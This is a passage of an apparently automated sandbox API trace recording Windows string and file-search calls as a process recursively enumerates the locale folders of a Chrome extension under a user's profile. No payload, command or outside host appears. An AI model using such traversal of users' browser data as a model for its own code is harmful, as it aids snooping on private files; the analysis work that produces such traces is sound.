uBytes=0x113) returned 0x2dc218 [0056.326] lstrcpyA (in: lpString1=0x2dc218, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\it" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\it") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\it" [0056.326] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\it", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\it\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\it\\*.*" [0056.326] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\it\\*.*", lpFindFileData=0x21edb0 | out: lpFindFileData=0x21edb0) returned 0x2dc8f8 [0056.327] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.327] FindNextFileA (in: hFindFile=0x2dc8f8, lpFindFileData=0x21edb0 | out: lpFindFileData=0x21edb0) returned 1 [0056.327] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.327] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.327] FindNextFileA (in: hFindFile=0x2dc8f8, lpFindFileData=0x21edb0 | out: lpFindFileData=0x21edb0) returned 0 [0056.327] FindClose (in: hFindFile=0x2dc8f8 | out: hFindFile=0x2dc8f8) returned 1 [0056.327] LocalFree (hMem=0x2dc218) returned 0x0 [0056.327] LocalFree (hMem=0x2dc100) returned 0x0 [0056.327] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.327] lstrcmpiA (lpString1=".", lpString2="ja") returned -1 [0056.327] lstrcmpiA (lpString1="..", lpString2="ja") returned -1 [0056.327] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales") returned 139 [0056.327] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales") returned 139 [0056.327] lstrlenA (lpString="\\") returned 1 [0056.327] LocalAlloc (uFlags=0x40, uBytes=0x10d) returned 0x2dbfe8 [0056.327] lstrcpyA (in: lpString1=0x2dbfe8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales" [0056.327] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\" [0056.327] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\") returned 140 [0056.327] lstrlenA (lpString="ja") returned 2 [0056.327] LocalAlloc (uFlags=0x40, uBytes=0x10f) returned 0x2dc100 [0056.327] lstrcpyA (in: lpString1=0x2dc100, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\" [0056.327] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\", lpString2="ja" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\ja") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\ja" [0056.327] LocalFree (hMem=0x2dbfe8) returned 0x0 [0056.327] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\ja") returned 142 [0056.327] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\ja") returned 142 [0056.327] lstrlenA (lpString="\\*.*") returned 4 [0056.327] LocalAlloc (uFlags=0x40, uBytes=0x113) returned 0x2dc218 [0056.327] lstrcpyA (in: lpString1=0x2dc218, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\ja" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\ja") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\ja" [0056.327] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\ja", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\ja\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\ja\\*.*" [0056.327] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\ja\\*.*", lpFindFileData=0x21edb0 | out: lpFindFileData=0x21edb0) returned 0x2dc8f8 [0056.327] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.327] FindNextFileA (in: hFindFile=0x2dc8f8, lpFindFileData=0x21edb0 | out: lpFindFileData=0x21edb0) returned 1 [0056.327] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.327] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.327] FindNextFileA (in: hFindFile=0x2dc8f8, lpFindFileData=0x21edb0 | out: lpFindFileData=0x21edb0) returned 0 [0056.327] FindClose (in: hFindFile=0x2dc8f8 | out: hFindFile=0x2dc8f8) returned 1 [0056.327] LocalFree (hMem=0x2dc218) returned 0x0 [0056.327] LocalFree (hMem=0x2dc100) returned 0x0 [0056.327] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.327] lstrcmpiA (lpString1=".", lpString2="ko") returned -1 [0056.327] lstrcmpiA (lpString1="..", lpString2="ko") returned -1 [0056.327] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales") returned 139 [0056.327] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales") returned 139 [0056.327] lstrlenA (lpString="\\") returned 1 [0056.328] LocalAlloc (uFlags=0x40, uBytes=0x10d) returned 0x2dbfe8 [0056.328] lstrcpyA (in: lpString1=0x2dbfe8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales" [0056.328] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\" [0056.328] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\") returned 140 [0056.328] lstrlenA (lpString="ko") returned 2 [0056.328] LocalAlloc (uFlags=0x40, uBytes=0x10f) returned 0x2dc100 [0056.328] lstrcpyA (in: lpString1=0x2dc100, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\" [0056.328] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\", lpString2="ko" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\ko") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\ko" [0056.328] LocalFree (hMem=0x2dbfe8) returned 0x0 [0056.328] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\ko") returned 142 [0056.328] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\ko") returned 142 [0056.328] lstrlenA (lpString="\\*.*") returned 4 [0056.328] LocalAlloc (uFlags=0x40, uBytes=0x113) returned 0x2dc218 [0056.328] lstrcpyA (in: lpString1=0x2dc218, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\ko" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\ko") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\ko" [0056.328] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\ko", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\ko\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\ko\\*.*" [0056.328] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\ko\\*.*", lpFindFileData=0x21edb0 | out: lpFindFileData=0x21edb0) returned 0x2dc8f8 [0056.328] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.328] FindNextFileA (in: hFindFile=0x2dc8f8, lpFindFileData=0x21edb0 | out: lpFindFileData=0x21edb0) returned 1 [0056.328] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.328] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.328] FindNextFileA (in: hFindFile=0x2dc8f8, lpFindFileData=0x21edb0 | out: lpFindFileData=0x21edb0) returned 0 [0056.328] FindClose (in: hFindFile=0x2dc8f8 | out: hFindFile=0x2dc8f8) returned 1 [0056.328] LocalFree (hMem=0x2dc218) returned 0x0 [0056.328] LocalFree (hMem=0x2dc100) returned 0x0 [0056.328] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.328] lstrcmpiA (lpString1=".", lpString2="lt") returned -1 [0056.328] lstrcmpiA (lpString1="..", lpString2="lt") returned -1 [0056.328] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales") returned 139 [0056.328] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales") returned 139 [0056.328] lstrlenA (lpString="\\") returned 1 [0056.328] LocalAlloc (uFlags=0x40, uBytes=0x10d) returned 0x2dbfe8 [0056.328] lstrcpyA (in: lpString1=0x2dbfe8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales" [0056.328] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\" [0056.328] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\") returned 140 [0056.328] lstrlenA (lpString="lt") returned 2 [0056.328] LocalAlloc (uFlags=0x40, uBytes=0x10f) returned 0x2dc100 [0056.328] lstrcpyA (in: lpString1=0x2dc100, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\" [0056.328] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\", lpString2="lt" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\lt") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\lt" [0056.328] LocalFree (hMem=0x2dbfe8) returned 0x0 [0056.328] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\lt") returned 142 [0056.328] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\lt") returned 142 [0056.328] lstrlenA (lpString="\\*.*") returned 4 [0056.328] LocalAlloc (uFlags=0x40, uBytes=0x113) returned 0x2dc218 [0056.328] lstrcpyA (in: lpString1=0x2dc218, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\lt" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\lt") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\lt" [0056.328] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\lt", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\lt\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\lt\\*.*" [0056.328] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\lt\\*.*", lpFindFileData=0x21edb0 | out: lpFindFileData=0x21edb0) returned 0x2dc8f8 [0056.329] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.329] FindNextFileA (in: hFindFile=0x2dc8f8, lpFindFileData=0x21edb0 | out: lpFindFileData=0x21edb0) returned 1 [0056.329] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.329] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.329] FindNextFileA (in: hFindFile=0x2dc8f8, lpFindFileData=0x21edb0 | out: lpFindFileData=0x21edb0) returned 0 [0056.329] FindClose (in: hFindFile=0x2dc8f8 | out: hFindFile=0x2dc8f8) returned 1 [0056.329] LocalFree (hMem=0x2dc218) returned 0x0 [0056.329] LocalFree (hMem=0x2dc100) returned 0x0 [0056.329] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.329] lstrcmpiA (lpString1=".", lpString2="lv") returned -1 [0056.329] lstrcmpiA (lpString1="..", lpString2="lv") returned -1 [0056.329] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales") returned 139 [0056.329] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales") returned 139 [0056.329] lstrlenA (lpString="\\") returned 1 [0056.329] LocalAlloc (uFlags=0x40, uBytes=0x10d) returned 0x2dbfe8 [0056.329] lstrcpyA (in: lpString1=0x2dbfe8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales" [0056.329] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\" [0056.329] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\") returned 140 [0056.329] lstrlenA (lpString="lv") returned 2 [0056.329] LocalAlloc (uFlags=0x40, uBytes=0x10f) returned 0x2dc100 [0056.329] lstrcpyA (in: lpString1=0x2dc100, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\" [0056.329] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\", lpString2="lv" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\lv") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\lv" [0056.329] LocalFree (hMem=0x2dbfe8) returned 0x0 [0056.329] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\lv") returned 142 [0056.329] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User 